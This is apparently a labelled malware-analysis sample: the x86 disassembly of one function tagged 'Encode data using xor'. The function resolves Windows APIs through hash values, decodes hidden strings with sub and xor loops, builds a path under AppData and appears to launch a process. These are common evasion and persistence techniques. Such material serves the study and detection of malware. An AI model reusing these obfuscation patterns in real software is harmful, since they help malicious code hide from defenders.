Function at 0x404aeb
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x2bc
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
lea eax, [esp + 0xc8]
push ebx
push eax
mov edi, ecx
call fcn.00407f10
add esp, 0xc
lea eax, [esp + 0xc4]
push eax
push ebx
push ebx
push 0x1a
push ebx
push 0xcc4e6191
push 1
call fcn.004011e9
pop ecx
pop ecx
call eax
movaps xmm0, xmmword [0x416a10]
mov ecx, ebx
movups xmmword [esp + 0x10], xmm0
mov word [esp + 0x20], 0x627e
mov byte [esp + 0x22], bl
movsx eax, byte [esp + 0x10]
and eax, 0x8000000f
jns 0x404b56
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x11], al
inc ecx
cmp ecx, 0x11
jb 0x404b45
lea eax, [esp + 0x11]
mov byte [esp + 0x22], bl
push eax
lea eax, [esp + 0xc8]
mov ebp, 0xf9b697a2
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
lea eax, [esp + 0xa0]
push eax
lea ecx, [esp + 0x37]
call fcn.00404f60
sub esp, 0x18
lea eax, [esp + 0xdc]
mov ecx, esp
push eax
call fcn.004014df
lea eax, [esp + 0x4c]
mov ecx, edi
push eax
call fcn.00405182
cmp dword [esp + 0x48], 0x10
lea esi, [esp + 0x34]
mov cl, 0x1f
mov dword [esp + 0x10], 0x706d4f1f
cmovae esi, dword [esp + 0x34]
mov eax, ebx
mov dword [esp + 0x14], 0x7a737679
mov word [esp + 0x18], 0x436c
mov byte [esp + 0x1a], bl
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 9
jae 0x404bed
mov cl, byte [esp + 0x10]
jmp 0x404bdd
lea eax, [esp + 0x11]
mov byte [esp + 0x1a], bl
push eax
lea eax, [esp + 0xc8]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
lea eax, [esp + 0xa0]
push eax
lea eax, [esp + 0xc8]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
lea eax, [esp + 0xc4]
mov ecx, edi
push eax
push esi
call fcn.00402c82
push 0x104
lea eax, [esp + 0x1cc]
push ebx
push eax
call fcn.00407f10
movaps xmm0, xmmword [0x416a20]
add esp, 0xc
movups xmmword [esp + 0x10], xmm0
mov ecx, ebx
mov word [esp + 0x30], 0x2b53
movaps xmm0, xmmword [0x416940]
movups xmmword [esp + 0x20], xmm0
mov byte [esp + 0x32], bl
movsx eax, byte [esp + 0x10]
and eax, 0x8000000f
jns 0x404c80
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x11], al
inc ecx
cmp ecx, 0x21
jb 0x404c6f
lea eax, [esp + 0x11]
mov byte [esp + 0x32], bl
push eax
lea eax, [esp + 0x1cc]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
mov al, 0x7c
mov dword [esp + 0x10], 0x7e75727c
mov dword [esp + 0x14], 0x847b7271
mov ecx, ebx
mov dword [esp + 0x18], 0x7184713a
mov byte [esp + 0x1c], bl
movsx eax, al
and eax, 0x8000000f
jns 0x404cd5
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x11], al
inc ecx
cmp ecx, 0xb
jae 0x404ce5
mov al, byte [esp + 0x10]
jmp 0x404cc6
lea eax, [esp + 0x11]
mov byte [esp + 0x1c], bl
push eax
lea eax, [esp + 0x1cc]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
movaps xmm0, xmmword [0x416920]
mov ecx, ebx
movups xmmword [esp + 0x10], xmm0
mov dword [esp + 0x20], 0x53565950
mov word [esp + 0x24], 0x1f5a
mov byte [esp + 0x26], bl
mov al, byte [esp + 0x10]
xor byte [esp + ecx + 0x11], al
inc ecx
cmp ecx, 0x15
jb 0x404d22
lea eax, [esp + 0x11]
mov byte [esp + 0x26], bl
push eax
lea eax, [esp + 0x1cc]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
mov esi, 0x416854
lea eax, [esp + 0x1c8]
push esi
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
lea eax, [esp + 0xc4]
push eax
lea eax, [esp + 0x1cc]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
push esi
lea eax, [esp + 0x1cc]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
push 0x44
pop esi
push esi
lea eax, [esp + 0x60]
push ebx
push eax
call fcn.00407f10
xor eax, eax
mov dword [esp + 0x68], esi
lea edi, [esp + 0x58]
mov dword [esp + 0x70], 0x41e550
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x60]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x1e8]
push eax
push ebx
push 0x57ae26e9
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
lea ecx, [esp + 0x34]
call fcn.00401655
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2bc
ret